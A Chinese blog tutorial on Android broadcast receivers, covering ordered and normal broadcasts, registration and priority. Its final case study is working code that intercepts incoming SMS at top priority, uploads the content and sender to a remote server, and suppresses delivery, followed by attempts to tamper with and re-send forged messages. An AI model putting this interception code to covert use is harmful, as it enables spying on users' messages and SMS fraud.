Android中的广播Broadcast详解

今天来看一下Android中的广播机制，我们知道广播Broadcast是Android中的四大组件之一，可见他的重要性了，当然它的用途也很大的，比如一些系统的广播：电量低、开机、锁屏等一些操作都会发送一个广播，具体的Android系统中的广播可以参见我的另外一篇博客:http://blog.csdn.net/jiangwei0910410003/article/details/17218985.

下面就来详细讲解一下广播机制：

广播被分为两种不同的类型：“普通广播（Normal broadcasts）”和“有序广播（Ordered broadcasts）”。普通广播是完全异步的，可以在同一时刻（逻辑上）被所有广播接收者接收到，消息传递的效率比较高，但缺点是：接收者不能将处理结果传递给下一个接收者，并且无法终止广播Intent的传播；然而有序广播是按照接收者声明的优先级别（声明在intent-filter元素的android:priority属性中，数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置），被接收者依次接收广播。如：A的级别高于B,B的级别高于C,那么，广播先传给A，再传给B，最后传给C。A得到广播后，可以往广播里存入数据，当广播传给B时,B可以从广播中得到A存入的数据。

Context.sendBroadcast()

发送的是普通广播，所有订阅者都有机会获得并进行处理。

Context.sendOrderedBroadcast()

发送的是有序广播，系统会根据接收者声明的优先级别按顺序逐个执行接收者，前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast())，如果广播被前面的接收者终止，后面的接收者就再也无法获取到广播。对于有序广播，前面的接收者可以将处理结果存放进广播Intent，然后传给下一个接收者。

广播接收者（BroadcastReceiver）用于接收广播Intent，广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收，这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下：

第一步：定义广播接收者，继承BroadcastReceiver，并重写onReceive()方法。

public class IncomingSMSReceiver extendsBroadcastReceiver {
  @Override public void onReceive(Contextcontext, Intentintent) {
  }
}

第二步：订阅感兴趣的广播Intent，订阅方法有两种：

第一种：使用代码进行订阅(动态订阅)

IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = newIncomingSMSReceiver();
registerReceiver(receiver, filter);

第二种：在AndroidManifest.xml文件中的<application>节点里进行订阅(静态订阅)

<receiver android:name=".IncomingSMSReceiver">
   <intent-filter>
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
</receiver>

下面看一下动态广播订阅和静态广播订阅的却别：

静态订阅广播又叫：常驻型广播，当你的应用程序关闭了，如果有广播信息来，你写的广播接收器同样的能接受到，他的注册方式就是在你的应用程序中的AndroidManifast.xml进行订阅的。

动态订阅广播又叫：非常驻型广播，当应用程序结束了，广播自然就没有了，比如你在activity中的onCreate或者onResume中订阅广播，同时你必须在onDestory或者onPause中取消广播订阅。不然会报异常，这样你的广播接收器就一个非常驻型的了。

这里面还有一个细节那就是这两种订阅方式，在发送广播的时候需要注意的是：动态注册的时候使用的是隐式intent方式的，所以在发送广播的时候需要使用隐式Intent去发送，不然是广播接收者是接收不到广播的，这一点要注意。但是静态订阅的时候，因为在AndroidMainfest.xml中订阅的，所以在发送广播的时候使用显示Intent和隐式Intent都可以(当然这个只针对于我们自己定义的广播接收者)，所以以防万一，我们一般都采用隐式Intent去发送广播。

下面看一下例子：

看一下项目结构：

看一下静态订阅广播:

package com.broadcast.demo;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

import com.example.androidbroadcastdemo.R;

/**
 * 静态订阅广播
 * @author weijiang204321
 *
 */
public class StaticRegisterBroadcastActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		Button btn = (Button)findViewById(R.id.btn);
		
		btn.setOnClickListener(new OnClickListener(){
			@Override
			public void onClick(View v) {
				//使用静态的方式注册广播，可以使用显示意图进行发送广播
				Intent broadcast = new Intent("com.broadcast.set.broadcast");
				sendBroadcast(broadcast,null);
			}
			
		});
	}
	
}

在AndroidMainfest.xml中订阅:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.androidbroadcastdemo"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="18" />
    
    <!-- 权限 -->
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.broadcast.demo.StaticRegisterBroadcastActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
        <!-- 无序广播注册START  -->
        <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">
            <intent-filter >
                <action android:name="com.broadcast.demo.mybroadcast"/>
            </intent-filter>
        </receiver>
        <!-- 无序广播注册END -->
        
        <!-- 有序广播的注册START -->
        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
            <intent-filter android:priority="999">
                <action android:name="com.broadcast.set.broadcast"/>
            </intent-filter>
        </receiver>
        
        <!-- 接收短信广播 -->
        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <!-- 有序广播的注册END -->
        
        <!-- 上传短信内容的Service -->
        <service android:name="com.broadcast.service.UploadSMSService">
            <intent-filter >
                <action android:name="com.broadcast.service.uploadsmsservice"/>
            </intent-filter>
        </service>
        
    </application>

</manifest>

先不要管其他的内容了，后面会讲到，这里只关注静态广播的注册

<!-- 无序广播注册START  -->
       <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">
            <intent-filter >
                <action android:name="com.broadcast.demo.mybroadcast"/>
            </intent-filter>
        </receiver>
<!-- 无序广播注册END -->

下面来看一下广播的接收者:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * 广播接收者
 * @author weijiang204321
 *
 */
public class UnSortBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.e("Intent_Action:",intent.getAction()+"");
	}

}

在广播接收者中的onReceive方法中的逻辑很简单，就是打印Action的内容。

运行程序，结果很简单，这里就不上图片了。

下面来看一下动态订阅：

package com.broadcast.demo;

import android.app.Activity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

import com.broadcast.receiver.UnSortBroadcastReceiver;
import com.example.androidbroadcastdemo.R;

/**
 * 使用动态的方式注册广播
 * @author weijiang204321
 *
 */
public class DynamicRegisterBroadcastActivity extends Activity {
	
	public static final String NEW_LIFEFORM_DETECTED = "com.dxz.broadcasttest.NEW_LIFEFORM";
	protected  UnSortBroadcastReceiver receiver;
	
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		Button btn0 = (Button) findViewById(R.id.btn);
		btn0.setOnClickListener(new OnClickListener() {
			public void onClick(View v) {
				//发送广播
				Intent it = new Intent(NEW_LIFEFORM_DETECTED);
				sendBroadcast(it);
			}
		});
	}

	@Override
	protected void onResume() {
		super.onResume();
		//注册广播
		IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED);
		receiver = new UnSortBroadcastReceiver();
		registerReceiver(receiver, counterActionFilter);
	}

	@Override
	protected void onPause() {
		super.onPause();
		//取消广播
		unregisterReceiver(receiver);
	}
}

这里我们是在onResume中进行订阅广播，在onPause中取消订阅广播。

AndroidMainfest.xml中将启动的Activity改成DynamicRegisterBroadcastActivity，其他的内容不需要修改，运行程序，打印结果很简单，这里就不上图了。

下面来看一下有序广播和无序广播

这个我们在开始的时候已经说到了，下面来看一下无序广播:

首先我们定义两个广播接收者:

第一个广播接收者:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * 广播接收者A
 * @author weijiang204321
 *
 */
public class SortBroadcastReceiverA extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.e("Demo:","广播接收者A");
	}

}

第二个广播接收者:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * 广播接收者B
 * @author weijiang204321
 *
 */
public class SortBroadcastReceiverB extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.e("Demo:","广播B");
	}

	
	
}

在AndroidMainfest.xml中订阅广播

 <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
            <intent-filter android:priority="999">
                <action android:name="com.broadcast.set.broadcast"/>
            </intent-filter>
</receiver>
        
<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">
            <intent-filter android:priority="1000">
                <action android:name="com.broadcast.set.broadcast"/>
            </intent-filter>
</receiver>

运行结果:

运行结果有点奇怪，为什么是接收者B在前面，接收者A在后面，原因就是我们在AndroidMainfest.xml中订阅广播的时候在intent-filter设置了android:priority属性值，值越大优先级越高，接收者B的优先级是1000，接收者A的优先级是999,所以是B先接收到广播，然后A才接收到，但是接收者B和接收者A之间没有联系，也不能有交互的，因为是这是无序广播，是异步的，我们可以做个试验就是在B中的onReceiver方法中添加代码：

abortBroadcast();//终止此次广播的传输

运行结果：

我们可以看到提示错误，就是non-ordered broadcast无序广播不允许终止广播，其实终止也没有用，因为接收者A还是接收到广播了。

下面来看一下有序广播，代码需要做一下修改：

首先是在发送广播的时候:

Intent broadcast = new Intent("com.broadcast.set.broadcast");
sendOrderedBroadcast(broadcast,null);

然后在B接收者中的添加终止广播的方法:

abortBroadcast();

其他的代码不需要修改，运行结果：

只有B接收者了，A接收者没有接收到广播了，因为在B接收者中将广播给终止了，后面的接收者都接受不到了。

下面在修改一下代码：

接收者B：

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

/**
 * 广播接收者B
 * @author weijiang204321
 *
 */
public class SortBroadcastReceiverB extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.e("Demo:","广播接收者B");
		Bundle bundle = new Bundle();
		bundle.putString("next_receiver", "下一个广播接收者");
		setResultExtras(bundle);
	}
	
}

B接收到广播后，存入一些值，传给下一个接收者。

接收者A的代码：

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

/**
 * 广播接收者A
 * @author weijiang204321
 *
 */
public class SortBroadcastReceiverA extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.e("Demo:","广播接收者A");
		Bundle bundle = getResultExtras(true);
		String content = bundle.getString("next_receiver");
		Log.e("Demo:",content+"");
		
	}

}

运行结果如下：

接收者A收到了上一个接收者B传递的信息，这个信息可以保留到后面的所有接收者，直到广播终止。

上面讲到的就是有序广播的特点，可以看出是一个同步的动作，接收者之间可以进行数据的交互(上一个传递数据给下一个)，也可以控制广播的终止。

下面来做一个案例就是网上很多人弄过的：短信拦截

系统在收到短信的时候，会发送一个：android.provider.Telephony.SMS_RECEIVED这样的广播，而且这是一个有序的广播，所以我们就可以拦截了这条短信，因为系统中的短信接收者的订阅优先级不是1000最高的，所以我们可以自己定义一个短信接收者，将订阅优先级设置成1000，这样我们就可以最先获取到短信内容，然后将截取到知道号码的短信内容上传到服务器上进行保存，然后终止广播。让系统接收不到这条短信。

这里面我们还需要了解的技术就是短信内容的获取，这个我们在代码中解释：

下面来看一下我们定义的短信接收者:

package com.broadcast.receiver;

import java.text.SimpleDateFormat;
import java.util.Date;
import android.annotation.SuppressLint;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
import com.broadcast.service.UploadSMSService;

/**
 * 广播接收者A
 * @author weijiang204321
 *
 */
public class SortBroadcastReceiverA extends BroadcastReceiver{

	@SuppressLint("SimpleDateFormat")
	@Override
	public void onReceive(Context context, Intent intent) {
		//获取短信的相关信息,使用字段pdus
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		StringBuilder content = new StringBuilder();
		String receiveTime = "";
		String senderNumber = "";
		for(Object p : pdus){
			byte[] pdu = (byte[]) p;
			SmsMessage message = SmsMessage.createFromPdu(pdu);
			content.append(message.getMessageBody());
			Date date = new Date(message.getTimestampMillis());
			SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			receiveTime = format.format(date);
			senderNumber = message.getOriginatingAddress();
		}
		
		Log.e("Demo:","上传短信内容是:"+content.toString());
		Log.e("Demo:","接收短信的时间是"+receiveTime);
		Log.e("Demo:","发送短信的号码是:"+senderNumber);
		
		//拦截的号码是:18910958627,注意前面还有+86是中国地区的编号
		if("[phone]".equals(senderNumber)){
			//拦截成功 ,上传信息
			Intent service = new Intent(context,UploadSMSService.class);
			service.putExtra("content", content.toString());
			service.putExtra("receiveTime",receiveTime);
			service.putExtra("senderNumber", senderNumber);
			context.startService(service);
		}
		
	}

}

在onReceive方法中我们通过intent中的Bundle获取短信的相关信息。

下面在看一下上传短信信息的服务Service:

package com.broadcast.service;

import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;

import android.app.Service;
import android.content.Intent;
import android.os.IBinder;

/**
 * 上传短信内容的service
 * @author weijiang204321
 *
 */
public class UploadSMSService extends Service{

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
		//获取短信内容和接收时间，发送者的号码
		final String content = intent.getStringExtra("content");
		final String receiveTime = intent.getStringExtra("receiveTime");
		final String senderNumber = intent.getStringExtra("senderNumber");
		
		new Thread(){
			@Override
			public void run(){
				sendSMS(content,receiveTime,senderNumber);
				//上传完成之后就结束service
				stopSelf();
			}
		}.start();
		
		return super.onStartCommand(intent, flags, startId);
	}
	
	/**
	 * 上传短信内容
	 * @param content
	 * @param receiveTime
	 * @param senderNumber
	 * @return
	 */
	private boolean sendSMS(String content, String receiveTime, String senderNumber) {
		try{
			String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;
			byte[] entity = params.getBytes();
			String path = "http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet";
			HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
			conn.setConnectTimeout(5000);
			conn.setRequestMethod("POST");
			conn.setDoOutput(true);
			conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
			conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
			conn.getOutputStream().write(entity);
			if(conn.getResponseCode() == 200){
				return true;
			}
		}catch (Exception e) {
			e.printStackTrace();
		}
		return false;
	}


}

这个服务的逻辑也很简单的，在获取到短信信息的时候，将内容进行上传。

最后不能忘了在AndroidMainfest.xml中添加权限:

<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>

订阅短信广播:

<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
            <intent-filter android:priority="999">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
</receiver>

当然这里还需要有一个短信内容的接收服务端,在服务端定义一个Servlet来接受数据，具体的服务端的环境搭建，自己上网搜索相关资料进行搭建:

package com.servlet.receivesms;

import java.io.IOException;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ReceiveSMSServlet extends HttpServlet{

	private static final long serialVersionUID = 1L;

	@Override
	protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
		req.setCharacterEncoding("utf-8");
		String content = req.getParameter("content");
		String receiveTime = req.getParameter("receivetime");
		String phoneNumber = req.getParameter("sendernumber");
		System.out.println("发送内容:"+content);
		System.out.println("发送时间:"+receiveTime);
		System.out.println("发送号码:"+phoneNumber);
		super.doGet(req, resp);
	}

	@Override
	protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
		super.doPost(req, resp);
	}

}

测试结果，客户端拦截的号码是18910958627，注意前面有+86是中国区域的编码，服务端接收数据为:

这样就表示截取短信内容成功，并且成功上传到服务器上了。

对于上面的短信拦截的功能还有待加强，就是现在想把短信的内容拦截下来，进行篡改，然后再发给下一个接收者?

方案一:在我们定义的短信广播接收者中，我们能够从intent中的Bundle中通过key="pdus"来获取短信内容的，那么我们可以自己从新组建一个新的Bundle，在这个Bundle中存入我们篡改的信息，然后替换之前的Bundle

问题:实施了，但是问题是Bundle是替换不了的，不知道是什么原因？

方案二:由于第一种方案的失败，导致了我从新想到一个方案就是截取短信内容之后，终止此次广播，然后发送一条短信，这时候短信的内容为我们篡改的内容，但是这里需要注意的是，要做判断，因为我们定义的短信接收者的优先级最高，所以我们发送篡改后的短信又被我们的短信接收者给拦截了，但是我们是不想这样的，所以要做个判断，这个很简单的，使用SharePerenced存入一个boolean值就行了。

问题:本来以为这种方案是完美了，但是问题是发送信息的时候，系统提供的方法中的参数是：接收者号码,发送者号码,短信内容,还有其他的参数就不解释了，这很简单呀，我们现在正好需要这三个参数，立马传递进去，结果是收取不到短信，查看文档，发现那个发送者号码的参数是短信服务中心的号码(也不知道什么意思)，当把它设置成null的时候短信就可以发出去了，但是设置成null的话，就不能说是谁发的短信了没有意义呀！

现在很纠结，问题还没有解决，如果有哪位大神有好的方法，请说明，小弟不慎感激！

总结:

在Android中，程序的响应（Responsive）被活动管理器（ActivityManager）和窗口管理器（Window Manager）这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕，Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作，否侧会弹出ANR（Application No Response）的对话框。如果需要完成一项比较耗时的工作，应该通过发送Intent给Service，由Service来完成。而不是使用子线程的方法来解决，因为BroadcastReceiver的生命周期很短（在onReceive()执行后BroadcastReceiver 的实例就会被销毁），子线程可能还没有结束BroadcastReceiver就先结束了。如果BroadcastReceiver结束了，它的宿主进程还在运行，那么子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死，因为它属于空进程（没有任何活动组件的进程）。

public class IncomingSMSReceiver extendsBroadcastReceiver {
  @Override public void onReceive(Contextcontext, Intentintent) {
            //发送Intent启动服务，由服务来完成比较耗时的操作
            Intent service =new Intent(context,XxxService.class);
            context.startService(service);
  }
}

每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。

所以上面的短信内容上传到服务器上的逻辑功能不能在广播中执行，需要开启一个服务进行上传。